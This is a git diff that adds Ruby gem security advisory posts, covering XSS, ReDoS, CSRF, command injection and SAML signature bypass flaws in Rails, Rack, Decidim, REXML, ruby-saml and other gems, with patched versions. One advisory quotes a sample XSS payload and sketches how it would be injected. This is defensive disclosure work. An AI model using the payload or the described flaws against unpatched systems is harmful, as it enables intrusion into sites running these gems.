+  ghsa: prjp-h48f-jgf6
+  url: https://github.com/rails/rails/security/advisories/GHSA-prjp-h48f-jgf6
+  title: ActionText ContentAttachment can Contain Unsanitized HTML
+  date: 2024-06-04
+  description: |
+    Instances of ActionText::Attachable::ContentAttachment included
+    within a rich_text_area tag could potentially contain unsanitized HTML.
+
+    This has been assigned the CVE identifier CVE-2024-32464.
+
+    Versions Affected:  >= 7.1.0
+    Not affected:       < 7.1.0
+    Fixed Versions:     7.1.3.4
+
+    Impact
+    ------
+
+    This could lead to a potential cross site scripting issue within the Trix editor.
+
+    Releases
+    --------
+
+    The fixed releases are available at the normal locations.
+
+    Workarounds
+    -----------
+
+    N/A
+
+    Patches
+    -------
+    To aid users who aren't able to upgrade immediately we have provided
+    patches for the supported release series in accordance with our
+    [maintenance policy](https://guides.rubyonrails.org/maintenance_policy.html#security-issues)
+    regarding security issues. They are in git-am format and consist
+    of a single changeset.
+
+    * action_text_content_attachment_xss_7_1_stable.patch - Patch for 7.1 series
+
+    Credits
+    -------
+
+    Thank you [ooooooo_q](https://hackerone.com/ooooooo_q) for reporting this!
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 7.1.0"
+  patched_versions:
+  - "~> 7.1.3, >= 7.1.3.4"
+  - ">= 7.2.0.beta2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-32464
+    - https://github.com/rails/rails/security/advisories/GHSA-prjp-h48f-jgf6
+    - https://github.com/rails/rails/commit/e215bf3360e6dfe1497c1503a495e384ed6b0995
+    - https://github.com/advisories/GHSA-prjp-h48f-jgf6
+---
diff --git a/advisories/_posts/2024-07-03-CVE-2024-39316.md b/advisories/_posts/2024-07-03-CVE-2024-39316.md
new file mode 100644
index 00000000..7b69ccbb
--- /dev/null
+++ b/advisories/_posts/2024-07-03-CVE-2024-39316.md
@@ -0,0 +1,41 @@
+---
+layout: advisory
+title: 'CVE-2024-39316 (rack): Rack ReDoS Vulnerability in HTTP Accept Headers Parsing'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2024-39316
+  ghsa: cj83-2ww7-mvq7
+  url: https://github.com/rack/rack/security/advisories/GHSA-cj83-2ww7-mvq7
+  title: Rack ReDoS Vulnerability in HTTP Accept Headers Parsing
+  date: 2024-07-03
+  description: |
+    ### Summary
+
+    A Regular Expression Denial of Service (ReDoS) vulnerability exists
+    in the `Rack::Request::Helpers` module when parsing HTTP Accept headers.
+    This vulnerability can be exploited by an attacker sending specially
+    crafted `Accept-Encoding` or `Accept-Language` headers, causing the
+    server to spend excessive time processing the request and leading
+    to a Denial of Service (DoS).
+
+    ### Details
+
+    The fix for https://github.com/rack/rack/security/advisories/GHSA-54rr-7fvw-6x8f
+    was not applied to the main branch and thus while the issue was fixed
+    for the Rack v3.0 release series, it was not fixed in the v3.1
+    release series until v3.1.5.
+  cvss_v3: 6.5
+  unaffected_versions:
+  - "< 3.1.0"
+  patched_versions:
+  - ">= 3.1.5"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-39316
+    - https://github.com/rack/rack/security/advisories/GHSA-cj83-2ww7-mvq7
+    - https://github.com/rack/rack/commit/412c980450ca729ee37f90a2661f166a9665e058
+    - https://github.com/advisories/GHSA-cj83-2ww7-mvq7
+---
diff --git a/advisories/_posts/2024-07-08-CVE-2024-39308.md b/advisories/_posts/2024-07-08-CVE-2024-39308.md
new file mode 100644
index 00000000..94569b91
--- /dev/null
+++ b/advisories/_posts/2024-07-08-CVE-2024-39308.md
@@ -0,0 +1,55 @@
+---
+layout: advisory
+title: 'CVE-2024-39308 (rails_admin): RailsAdmin Cross-site Scripting vulnerability
+  in the list view'
+comments: false
+categories:
+- rails_admin
+advisory:
+  gem: rails_admin
+  cve: 2024-39308
+  ghsa: 8qgm-g2vv-vwvc
+  url: https://github.com/railsadminteam/rails_admin/security/advisories/GHSA-8qgm-g2vv-vwvc
+  title: RailsAdmin Cross-site Scripting vulnerability in the list view
+  date: 2024-07-08
+  description: |
+    ### Impact
+    RailsAdmin list view has the XSS vulnerability, caused by
+    improperly-escaped HTML title attribute. The issue was originally
+    reported in https://github.com/railsadminteam/rails_admin/issues/3686.
+
+    ### Patches
+    Upgrade to [3.1.3](https://rubygems.org/gems/rails_admin/versions/3.1.3)
+    or [2.3.0](https://rubygems.org/gems/rails_admin/versions/2.3.0).
+
+    ### Workarounds
+    1. Copy the index view (located under the path
+       `app/views/rails_admin/main/index.html.erb`) from the RailsAdmin
+       version you use, and place it into your application by using
+       the same path.
+
+    2. Open the view file by an editor, and remove `strip_tags` from
+       the title attribute (as shown in GHSA advisory below).
+
+    **Note:** The view file created by this needs to be removed after
+    upgrading RailsAdmin afterwards, unless this old view continue to
+    be used. Only do this if you can't upgrade RailsAdmin now for a reason.
+
+    ### References
+    https://owasp.org/www-community/attacks/xss/
+    https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-strip_tags
+  cvss_v3: 6.8
+  patched_versions:
+  - "~> 2.3.0"
+  - ">= 3.1.3"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-39308
+    - https://github.com/railsadminteam/rails_admin/security/advisories/GHSA-8qgm-g2vv-vwvc
+    - https://github.com/railsadminteam/rails_admin/issues/3686
+    - https://github.com/railsadminteam/rails_admin/commit/b5a287d82e2cbd1737a1a01e11ede2911cce7fef
+    - https://github.com/railsadminteam/rails_admin/commit/d84b39884059c4ed50197cec8522cca029a17673
+    - https://rubygems.org/gems/rails_admin/versions/2.3.0
+    - https://rubygems.org/gems/rails_admin/versions/3.1.3
+    - https://github.com/advisories/GHSA-8qgm-g2vv-vwvc
+---
diff --git a/advisories/_posts/2024-07-10-CVE-2024-27090.md b/advisories/_posts/2024-07-10-CVE-2024-27090.md
new file mode 100644
index 00000000..dd1cbc66
--- /dev/null
+++ b/advisories/_posts/2024-07-10-CVE-2024-27090.md
@@ -0,0 +1,42 @@
+---
+layout: advisory
+title: 'CVE-2024-27090 (decidim): Decidim vulnerable to data disclosure through the
+  embed feature'
+comments: false
+categories:
+- decidim
+advisory:
+  gem: decidim
+  cve: 2024-27090
+  ghsa: qcj6-vxwx-4rqv
+  url: https://github.com/decidim/decidim/security/advisories/GHSA-qcj6-vxwx-4rqv
+  title: Decidim vulnerable to data disclosure through the embed feature
+  date: 2024-07-10
+  description: |
+    ### Impact
+    If an attacker can infer the slug or URL of an unpublished or private
+    resource, and this resource can be embedded (such as a Participatory
+    Process, an Assembly, a Proposal, a Result, etc), then some data of
+    this resource could be accessed.
+
+    ### Patches
+
+    Version 0.27.6
+
+    https://github.com/decidim/decidim/commit/1756fa639ef393ca8e8bb16221cab2e2e7875705
+
+    ### Workarounds
+
+    Disallow access through your web server to the URLs finished with `/embed.html`
+  cvss_v3: 5.3
+  patched_versions:
+  - ">= 0.27.6"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-27090
+    - https://github.com/decidim/decidim/security/advisories/GHSA-qcj6-vxwx-4rqv
+    - https://github.com/decidim/decidim/pull/12528
+    - https://github.com/decidim/decidim/commit/1756fa639ef393ca8e8bb16221cab2e2e7875705
+    - https://github.com/decidim/decidim/releases/tag/v0.27.6
+    - https://github.com/advisories/GHSA-qcj6-vxwx-4rqv
+---
diff --git a/advisories/_posts/2024-07-10-CVE-2024-27095.md b/advisories/_posts/2024-07-10-CVE-2024-27095.md
new file mode 100644
index 00000000..ddd52c6c
--- /dev/null
+++ b/advisories/_posts/2024-07-10-CVE-2024-27095.md
@@ -0,0 +1,50 @@
+---
+layout: advisory
+title: 'CVE-2024-27095 (decidim-admin): Decidim cross-site scripting (XSS) in the
+  admin panel'
+comments: false
+categories:
+- decidim-admin
+advisory:
+  gem: decidim-admin
+  cve: 2024-27095
+  ghsa: 529p-jj47-w3m3
+  url: https://github.com/decidim/decidim/security/advisories/GHSA-529p-jj47-w3m3
+  title: Decidim cross-site scripting (XSS) in the admin panel
+  date: 2024-07-10
+  description: |
+    ### Impact
+
+    The admin panel is subject to potential XSS attach in case the attacker
+    manages to modify some records being uploaded to the server.
+
+    The attacker is able to change  e.g. to `<svg onload=alert('XSS')>`
+    if they know how to craft these requests themselves. And then enter
+    the returned blob ID to the form inputs manually by modifying the
+    edit page source.
+
+    ### Patches
+
+    Available in versions 0.27.6 and 0.28.1.
+
+    ### Workarounds
+
+    Review the user accounts that have access to the admin panel (i.e.
+    general Administrators, and participatory space's Administrators)
+    and remove access to them if they don't need it.
+
+    ### References
+
+    OWASP ASVS v4.0.3-5.1.3
+  cvss_v3: 5.4
+  patched_versions:
+  - "~> 0.27.6"
+  - ">= 0.28.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-27095
+    - https://github.com/decidim/decidim/security/advisories/GHSA-529p-jj47-w3m3
+    - https://github.com/decidim/decidim/releases/tag/v0.27.6
+    - https://github.com/decidim/decidim/releases/tag/v0.28.1
+    - https://github.com/advisories/GHSA-529p-jj47-w3m3
+---
diff --git a/advisories/_posts/2024-07-10-CVE-2024-32469.md b/advisories/_posts/2024-07-10-CVE-2024-32469.md
new file mode 100644
index 00000000..df09ec38
--- /dev/null
+++ b/advisories/_posts/2024-07-10-CVE-2024-32469.md
@@ -0,0 +1,47 @@
+---
+layout: advisory
+title: 'CVE-2024-32469 (decidim): Decidim cross-site scripting (XSS) in the pagination'
+comments: false
+categories:
+- decidim
+advisory:
+  gem: decidim
+  cve: 2024-32469
+  ghsa: 7cx8-44pc-xv3q
+  url: https://github.com/decidim/decidim/security/advisories/GHSA-7cx8-44pc-xv3q
+  title: Decidim cross-site scripting (XSS) in the pagination
+  date: 2024-07-10
+  description: |
+    ### Impact
+
+    The pagination feature used in searches and filters is subject to
+    potential XSS attack through a malformed URL using the GET parameter
+    `per_page`.
+
+    ### Patches
+
+    Patched in version 0.27.6 and 0.28.1
+
+    ### References
+
+    OWASP ASVS v4.0.3-5.1.3
+
+    ### Credits
+
+    This issue was discovered in a security audit organized by the
+    [mitgestalten Partizipationsbüro](https://partizipationsbuero.at/)
+    and funded by [netidee](https://www.netidee.at/) against Decidim
+    done during April 2024. The security audit was implemented by
+    [AIT Austrian Institute of Technology GmbH](https://www.ait.ac.at/),
+  cvss_v3: 7.1
+  patched_versions:
+  - "~> 0.27.6"
+  - ">= 0.28.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-32469
+    - https://github.com/decidim/decidim/security/advisories/GHSA-7cx8-44pc-xv3q
+    - https://github.com/decidim/decidim/releases/tag/v0.27.6
+    - https://github.com/decidim/decidim/releases/tag/v0.28.1
+    - https://github.com/advisories/GHSA-7cx8-44pc-xv3q
+---
diff --git a/advisories/_posts/2024-07-11-CVE-2024-6484.md b/advisories/_posts/2024-07-11-CVE-2024-6484.md
new file mode 100644
index 00000000..e34d3e5a
--- /dev/null
+++ b/advisories/_posts/2024-07-11-CVE-2024-6484.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2024-6484 (bootstrap): Bootstrap Cross-Site Scripting (XSS) vulnerability'
+comments: false
+categories:
+- bootstrap
+advisory:
+  gem: bootstrap
+  cve: 2024-6484
+  ghsa: 9mvj-f7w8-pvh2
+  url: https://github.com/advisories/GHSA-9mvj-f7w8-pvh2
+  title: Bootstrap Cross-Site Scripting (XSS) vulnerability
+  date: 2024-07-11
+  description: |
+    A vulnerability has been identified in Bootstrap that exposes users
+    to Cross-Site Scripting (XSS) attacks. The issue is present in the
+    carousel component, where the data-slide and data-slide-to attributes
+    can be exploited through the href attribute of an <a> tag due to
+    inadequate sanitization. This vulnerability could potentially enable
+    attackers to execute arbitrary JavaScript within the victim's browser.
+  cvss_v3: 6.4
+  unaffected_versions:
+  - "< 2.0.0"
+  patched_versions:
+  - "> 3.4.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-6484
+    - https://www.herodevs.com/vulnerability-directory/cve-2024-6484
+    - https://github.com/advisories/GHSA-9mvj-f7w8-pvh2
+---
diff --git a/advisories/_posts/2024-07-11-CVE-2024-6531.md b/advisories/_posts/2024-07-11-CVE-2024-6531.md
new file mode 100644
index 00000000..84ffca74
--- /dev/null
+++ b/advisories/_posts/2024-07-11-CVE-2024-6531.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2024-6531 (bootstrap): Bootstrap Cross-Site Scripting (XSS) vulnerability'
+comments: false
+categories:
+- bootstrap
+advisory:
+  gem: bootstrap
+  cve: 2024-6531
+  ghsa: vc8w-jr9v-vj7f
+  url: https://github.com/advisories/GHSA-vc8w-jr9v-vj7f
+  title: Bootstrap Cross-Site Scripting (XSS) vulnerability
+  date: 2024-07-11
+  description: |
+    A vulnerability has been identified in Bootstrap that exposes users
+    to Cross-Site Scripting (XSS) attacks. The issue is present in the
+    carousel component, where the data-slide and data-slide-to attributes
+    can be exploited through the href attribute of an <a> tag due to
+    inadequate sanitization. This vulnerability could potentially enable
+    attackers to execute arbitrary JavaScript within the victim's browser.
+  cvss_v3: 6.4
+  unaffected_versions:
+  - "< 4.0.0"
+  patched_versions:
+  - "> 4.6.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-6531
+    - https://www.herodevs.com/vulnerability-directory/cve-2024-6531
+    - https://github.com/advisories/GHSA-vc8w-jr9v-vj7f
+---
diff --git a/advisories/_posts/2024-07-16-CVE-2024-39908.md b/advisories/_posts/2024-07-16-CVE-2024-39908.md
new file mode 100644
index 00000000..5e4c4b03
--- /dev/null
+++ b/advisories/_posts/2024-07-16-CVE-2024-39908.md
@@ -0,0 +1,46 @@
+---
+layout: advisory
+title: 'CVE-2024-39908 (rexml): DoS in REXML'
+comments: false
+categories:
+- rexml
+advisory:
+  gem: rexml
+  cve: 2024-39908
+  ghsa: 4xqq-m2hx-25v8
+  url: https://github.com/ruby/rexml/security/advisories/GHSA-4xqq-m2hx-25v8
+  title: DoS in REXML
+  date: 2024-07-16
+  description: |
+    There is a DoS vulnerability in REXML gem. This vulnerability has
+    been assigned the CVE identifier CVE-2024-39908. We strongly
+    recommend upgrading the REXML gem.
+
+    ## Details
+
+    When it parses an XML that has many specific characters such as
+    <, 0 and %>. REXML gem may take long time.
+
+    Please update REXML gem to version 3.3.2 or later.
+
+    ## Affected versions
+
+    REXML gem 3.3.2 or prior
+
+    ## Credits
+
+    Thanks to mprogrammer for discovering this issue.
+
+    ## History
+
+    Originally published at 2024-07-16 03:00:00 (UTC)
+  cvss_v3: 4.3
+  patched_versions:
+  - ">= 3.3.2"
+  related:
+    ghsa:
+    - https://github.com/ruby/rexml/security/advisories/GHSA-vg3r-rm7w-2xgh
+    url:
+    - https://www.ruby-lang.org/en/news/2024/07/16/dos-rexml-cve-2024-39908
+    - https://github.com/ruby/rexml/security/advisories/GHSA-4xqq-m2hx-25v8
+---
diff --git a/advisories/_posts/2024-07-25-CVE-2024-7106.md b/advisories/_posts/2024-07-25-CVE-2024-7106.md
new file mode 100644
index 00000000..e6b5be64
--- /dev/null
+++ b/advisories/_posts/2024-07-25-CVE-2024-7106.md
@@ -0,0 +1,42 @@
+---
+layout: advisory
+title: 'CVE-2024-7106 (spina): Cross-Site Request Forgery in Spina'
+comments: false
+categories:
+- spina
+advisory:
+  gem: spina
+  cve: 2024-7106
+  ghsa: wqw3-p83g-r24v
+  url: https://github.com/advisories/GHSA-wqw3-p83g-r24v
+  title: Cross-Site Request Forgery in Spina
+  date: 2024-07-25
+  description: |
+    A vulnerability classified as problematic was found in
+    Spina CMS 2.18.0.
+
+    Affected by this vulnerability is an unknown functionality
+    of the file /admin/media_folders.
+
+    The manipulation leads to cross-site request forgery.
+    The attack can be launched remotely.
+
+    The exploit has been disclosed to the public and may be used.
+
+    The associated identifier of this vulnerability is VDB-272431.
+
+    NOTE: The vendor was contacted early about this disclosure
+    but did not respond in any way.
+  cvss_v2: 5.0
+  cvss_v3: 4.3
+  cvss_v4: 6.9
+  notes: Never patched
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-7106
+    - https://github.com/topsky979/Security-Collections/blob/main/cve3/README.md
+    - https://vuldb.com/?ctiid.272431
+    - https://vuldb.com/?id.272431
+    - https://vuldb.com/?submit.376769
+    - https://github.com/advisories/GHSA-wqw3-p83g-r24v
+---
diff --git a/advisories/_posts/2024-08-01-CVE-2024-41123.md b/advisories/_posts/2024-08-01-CVE-2024-41123.md
new file mode 100644
index 00000000..f26e4739
--- /dev/null
+++ b/advisories/_posts/2024-08-01-CVE-2024-41123.md
@@ -0,0 +1,43 @@
+---
+layout: advisory
+title: 'CVE-2024-41123 (rexml): DoS vulnerabilities in REXML'
+comments: false
+categories:
+- rexml
+advisory:
+  gem: rexml
+  cve: 2024-41123
+  ghsa: r55c-59qm-vjw6
+  url: https://www.ruby-lang.org/en/news/2024/08/01/dos-rexml-cve-2024-41123
+  title: DoS vulnerabilities in REXML
+  date: 2024-08-01
+  description: |
+    There are some DoS vulnerabilities in REXML gem.
+    These vulnerabilities have been assigned the CVE identifier
+    CVE-2024-41123. We strongly recommend upgrading the REXML gem.
+
+    ## Details
+
+    When parsing an XML document that has many specific characters such
+    as whitespace character, >] and ]>, REXML gem may take long time.
+
+    Please update REXML gem to version 3.3.3 or later.
+
+    ## Affected versions
+
+    * REXML gem 3.3.2 or prior
+
+    ## Credits
+
+    Thanks to mprogrammer and scyoon for discovering these issues.
+
+    ## History
+
+    Originally published at 2024-08-01 03:00:00 (UTC)
+  cvss_v3: 5.3
+  patched_versions:
+  - ">= 3.3.3"
+  related:
+    url:
+    - https://www.ruby-lang.org/en/news/2024/08/01/dos-rexml-cve-2024-41123
+---
diff --git a/advisories/_posts/2024-08-01-CVE-2024-41946.md b/advisories/_posts/2024-08-01-CVE-2024-41946.md
new file mode 100644
index 00000000..93c6131b
--- /dev/null
+++ b/advisories/_posts/2024-08-01-CVE-2024-41946.md
@@ -0,0 +1,43 @@
+---
+layout: advisory
+title: 'CVE-2024-41946 (rexml): DoS vulnerabilities in REXML'
+comments: false
+categories:
+- rexml
+advisory:
+  gem: rexml
+  cve: 2024-41946
+  ghsa: 5866-49gr-22v4
+  url: https://www.ruby-lang.org/en/news/2024/08/01/dos-rexml-cve-2024-41946
+  title: DoS vulnerabilities in REXML
+  date: 2024-08-01
+  description: |
+    There is a DoS vulnerability in REXML gem.
+    This vulnerability has been assigned the CVE identifier
+    CVE-2024-41946. We strongly recommend upgrading the REXML gem.
+
+    ## Details
+
+    When parsing an XML that has many entity expansions with SAX2 or
+    pull parser API, REXML gem may take long time.
+
+    Please update REXML gem to version 3.3.3 or later.
+
+    ## Affected versions
+
+    * REXML gem 3.3.2 or prior
+
+    ## Credits
+
+    Thanks to NAITOH Jun for discovering and fixing this issue.
+
+    ## History
+
+    Originally published at 2024-08-01 03:00:00 (UTC)
+  cvss_v3: 5.3
+  patched_versions:
+  - ">= 3.3.3"
+  related:
+    url:
+    - https://www.ruby-lang.org/en/news/2024/08/01/dos-rexml-cve-2024-41946
+---
diff --git a/advisories/_posts/2024-08-13-CVE-2024-42360.md b/advisories/_posts/2024-08-13-CVE-2024-42360.md
new file mode 100644
index 00000000..9bdd4545
--- /dev/null
+++ b/advisories/_posts/2024-08-13-CVE-2024-42360.md
@@ -0,0 +1,36 @@
+---
+layout: advisory
+title: 'CVE-2024-42360 (sequenceserver): Command Injection in sequenceserver gem'
+comments: false
+categories:
+- sequenceserver
+advisory:
+  gem: sequenceserver
+  cve: 2024-42360
+  ghsa: qv32-5wm2-p32h
+  url: https://github.com/wurmlab/sequenceserver/security/advisories/GHSA-qv32-5wm2-p32h
+  title: Command Injection in sequenceserver gem
+  date: 2024-08-13
+  description: |
+    ### Impact
+
+    Several HTTP endpoints did not properly sanitize user input
+    and/or query parameters. This could be exploited to inject
+    and run unwanted shell commands
+
+    ### Patches
+
+    Fixed in 3.1.2
+
+    ### Workarounds
+
+    No known workarounds
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 3.1.2"
+  related:
+    url:
+    - https://github.com/wurmlab/sequenceserver/security/advisories/GHSA-qv32-5wm2-p32h
+    - https://github.com/wurmlab/sequenceserver/commit/457e52709f7f9ed2fceed59b3db564cb50785dba
+    - https://github.com/advisories/GHSA-qv32-5wm2-p32h
+---
diff --git a/advisories/_posts/2024-08-19-CVE-2024-43380.md b/advisories/_posts/2024-08-19-CVE-2024-43380.md
new file mode 100644
index 00000000..9d966070
--- /dev/null
+++ b/advisories/_posts/2024-08-19-CVE-2024-43380.md
@@ -0,0 +1,49 @@
+---
+layout: advisory
+title: 'CVE-2024-43380 (fugit): fugit parse and parse_nat stall on lengthy input'
+comments: false
+categories:
+- fugit
+advisory:
+  gem: fugit
+  cve: 2024-43380
+  ghsa: 2m96-52r3-2f3g
+  url: https://github.com/floraison/fugit/security/advisories/GHSA-2m96-52r3-2f3g
+  title: fugit parse and parse_nat stall on lengthy input
+  date: 2024-08-19
+  description: |
+    ### Impact
+
+    The fugit "natural" parser, that turns "every wednesday at 5pm" into
+    "0 17 * * 3", accepted any length of input and went on attempting to
+    parse it, not returning promptly, as expected. The parse call could
+    hold the thread with no end in sight.
+
+    Fugit dependents that do not check (user) input length for
+    plausability are impacted.
+
+    ### Patches
+
+    Problem was reported in #104 and the fix was released in
+    [fugit 1.11.1](https://rubygems.org/gems/fugit/versions/1.11.1)
+
+    ### Workarounds
+
+    By making sure that `Fugit.parse(s)`, `Fugit.do_parse(s)`,
+    `Fugit.parse_nat(s)`, `Fugit.do_parse_nat(s)`, `Fugit::Nat.parse(s)`,
+    and `Fugit::Nat.do_parse(s)` are not fed strings too long.
+    1000 chars feels ok, while 10_000 chars makes it stall.
+
+    In fewer words, making sure those fugit methods are not fed
+    unvetted input strings.
+  cvss_v3: 5.3
+  patched_versions:
+  - ">= 1.11.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-43380
+    - https://github.com/floraison/fugit/security/advisories/GHSA-2m96-52r3-2f3g
+    - https://github.com/floraison/fugit/issues/104
+    - https://github.com/floraison/fugit/commit/ad2c1c9c737213d585fff0b51c927d178b2c05a5
+    - https://github.com/advisories/GHSA-2m96-52r3-2f3g
+---
diff --git a/advisories/_posts/2024-08-22-CVE-2024-43398.md b/advisories/_posts/2024-08-22-CVE-2024-43398.md
new file mode 100644
index 00000000..aa144f3a
--- /dev/null
+++ b/advisories/_posts/2024-08-22-CVE-2024-43398.md
@@ -0,0 +1,61 @@
+---
+layout: advisory
+title: 'CVE-2024-43398 (rexml): REXML denial of service vulnerability'
+comments: false
+categories:
+- rexml
+advisory:
+  gem: rexml
+  cve: 2024-43398
+  ghsa: vmwr-mc7x-5vc3
+  url: https://github.com/ruby/rexml/security/advisories/GHSA-vmwr-mc7x-5vc3
+  title: REXML denial of service vulnerability
+  date: 2024-08-22
+  description: |
+    ### Impact
+
+    The REXML gem before 3.3.6 has a DoS vulnerability when it parses an
+    XML that has many deep elements that have same local name attributes.
+
+    If you need to parse untrusted XMLs with tree parser API like
+    `REXML::Document.new`, you may be impacted to this vulnerability.
+    If you use other parser APIs such as stream parser API and SAX2
+    parser API, this vulnerability is not affected.
+
+    This vulnerability has been assigned the CVE identifier CVE-2024-43398.
+    We strongly recommend upgrading the REXML gem.
+
+    ### Patches
+
+    The REXML gem 3.3.6 or later include the patch to fix the
+    vulnerability.
+
+    ### Workarounds
+
+    Don't parse untrusted XMLs with tree parser API.
+
+    ## Affected versions
+
+    REXML gem 3.3.5 or prior
+
+    ## Credits
+
+    Thanks to l33thaxor for discovering this issue.
+
+    ## History
+
+    Originally published at 2024-08-22 03:00:00 (UTC)
+  cvss_v3: 5.9
+  patched_versions:
+  - ">= 3.3.6"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-43398
+    - https://www.ruby-lang.org/en/news/2024/08/22/dos-rexml-cve-2024-43398
+    - https://github.com/ruby/rexml/security/advisories/GHSA-vmwr-mc7x-5vc3
+    - https://github.com/ruby/rexml/commit/7cb5eaeb221c322b9912f724183294d8ce96bae3
+    - https://github.com/ruby/rexml/releases/tag/v3.3.6
+    - https://hackerone.com/reports/3002543
+    - https://hackerone.com/reports/2666849
+    - https://github.com/advisories/GHSA-vmwr-mc7x-5vc3
+---
diff --git a/advisories/_posts/2024-08-23-CVE-2024-43791.md b/advisories/_posts/2024-08-23-CVE-2024-43791.md
new file mode 100644
index 00000000..320fd1fc
--- /dev/null
+++ b/advisories/_posts/2024-08-23-CVE-2024-43791.md
@@ -0,0 +1,46 @@
+---
+layout: advisory
+title: 'CVE-2024-43791 (request_store): request_store has Incorrect Default Permissions'
+comments: false
+categories:
+- request_store
+advisory:
+  gem: request_store
+  cve: 2024-43791
+  ghsa: frp2-5qfc-7r8m
+  url: https://github.com/steveklabnik/request_store/security/advisories/GHSA-frp2-5qfc-7r8m
+  title: request_store has Incorrect Default Permissions
+  date: 2024-08-23
+  description: |
+    ### Impact
+
+    The files published as part of request_store 1.3.2 have 0666
+    permissions, meaning that they are world-writable, which allows
+    local users to execute arbitrary code.
+
+    This version was published in 2017, and most production environments
+    do not allow access for local users, so the chances of this being
+    exploited are very low, given that the vast majority of users will
+    have upgraded, and those that have not, if any, are not likely to
+    be exposed.
+
+    ### Patches
+
+    I am not aware of any other version of the gem with incorrect
+    permissions, so simply upgrading should fix the issue.
+
+    ### Workarounds
+
+    You could chmod the files yourself, I guess.
+  cvss_v3: 7.8
+  unaffected_versions:
+  - "< 1.3.2"
+  patched_versions:
+  - ">= 1.4.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-43791
+    - https://github.com/steveklabnik/request_store/security/advisories/GHSA-frp2-5qfc-7r8m
+    - https://cwe.mitre.org/data/definitions/276.html
+    - https://github.com/advisories/GHSA-frp2-5qfc-7r8m
+---
diff --git a/advisories/_posts/2024-08-28-CVE-2024-45409.md b/advisories/_posts/2024-08-28-CVE-2024-45409.md
new file mode 100644
index 00000000..c81b98cd
--- /dev/null
+++ b/advisories/_posts/2024-08-28-CVE-2024-45409.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2024-45409 (ruby-saml): SAML authentication bypass via Incorrect XPath
+  selector'
+comments: false
+categories:
+- ruby-saml
+advisory:
+  gem: ruby-saml
+  cve: 2024-45409
+  ghsa: jw9c-mfg7-9rx2
+  url: https://github.com/SAML-Toolkits/ruby-saml/commit/1ec5392bc506fe43a02dbb66b68741051c5ffeae
+  title: SAML authentication bypass via Incorrect XPath selector
+  date: 2024-08-28
+  description: |
+    Ruby-SAML in <= 12.2 and 1.13.0 <= 1.16.0 does not properly verify the signature of the SAML Response.
+    An unauthenticated attacker with access to any signed saml document (by the IdP) can thus forge a SAML
+    Response/Assertion with arbitrary contents. This would allow the attacker to log in as arbitrary user within
+    the vulnerable system.
+  cvss_v3: 10.0
+  patched_versions:
+  - "~> 1.12.3"
+  - ">= 1.17.0"
+---
diff --git a/advisories/_posts/2024-09-11-CVE-2024-45409.md b/advisories/_posts/2024-09-11-CVE-2024-45409.md
new file mode 100644
index 00000000..6f803793
--- /dev/null
+++ b/advisories/_posts/2024-09-11-CVE-2024-45409.md
@@ -0,0 +1,36 @@
+---
+layout: advisory
+title: 'CVE-2024-45409 (omniauth-saml): omniauth-saml vulnerable to Improper Verification
+  of Cryptographic Signature'
+comments: false
+categories:
+- omniauth-saml
+advisory:
+  gem: omniauth-saml
+  cve: 2024-45409
+  ghsa: cvp8-5r8g-fhvq
+  url: https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-cvp8-5r8g-fhvq
+  title: omniauth-saml vulnerable to Improper Verification of Cryptographic Signature
+  date: 2024-09-11
+  description: |
+    ruby-saml, the dependent SAML gem of omniauth-saml has a signature
+    wrapping vulnerability in <= v1.12.0 and v1.13.0 to v1.16.0 , see
+    https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2
+
+    As a result, omniauth-saml created a
+    [new release](https://github.com/omniauth/omniauth-saml/releases)
+    by upgrading ruby-saml to the patched versions v1.17.
+  cvss_v3: 10.0
+  patched_versions:
+  - ">= 1.10.5, < 2.0.0"
+  - "~> 2.1.2"
+  - ">= 2.2.1"
+  related:
+    ghsa:
+    - https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-cvp8-5r8g-fhvq
+    - https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2
+    - https://github.com/advisories/GHSA-cvp8-5r8g-fhvq
+    url:
+    - https://github.com/omniauth/omniauth-saml/commit/4274e9d57e65f2dcaae4aa3b2accf831494f2ddd
+    - https://github.com/omniauth/omniauth-saml/commit/6c681fd082ab3daf271821897a40ab3417382e29
+---
diff --git a/advisories/_posts/2024-09-11-GHSA-cvp8-5r8g-fhvq.md b/advisories/_posts/2024-09-11-GHSA-cvp8-5r8g-fhvq.md
new file mode 100644
index 00000000..ae9c4e3c
--- /dev/null
+++ b/advisories/_posts/2024-09-11-GHSA-cvp8-5r8g-fhvq.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'GHSA-cvp8-5r8g-fhvq (omniauth-saml): omniauth-saml vulnerable to Improper
+  Verification of Cryptographic Signature'
+comments: false
+categories:
+- omniauth-saml
+advisory:
+  gem: omniauth-saml
+  ghsa: cvp8-5r8g-fhvq
+  url: https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2
+  title: omniauth-saml vulnerable to Improper Verification of Cryptographic Signature
+  date: 2024-09-11
+  description: |
+    ruby-saml, the dependent SAML gem of omniauth-saml has a signature
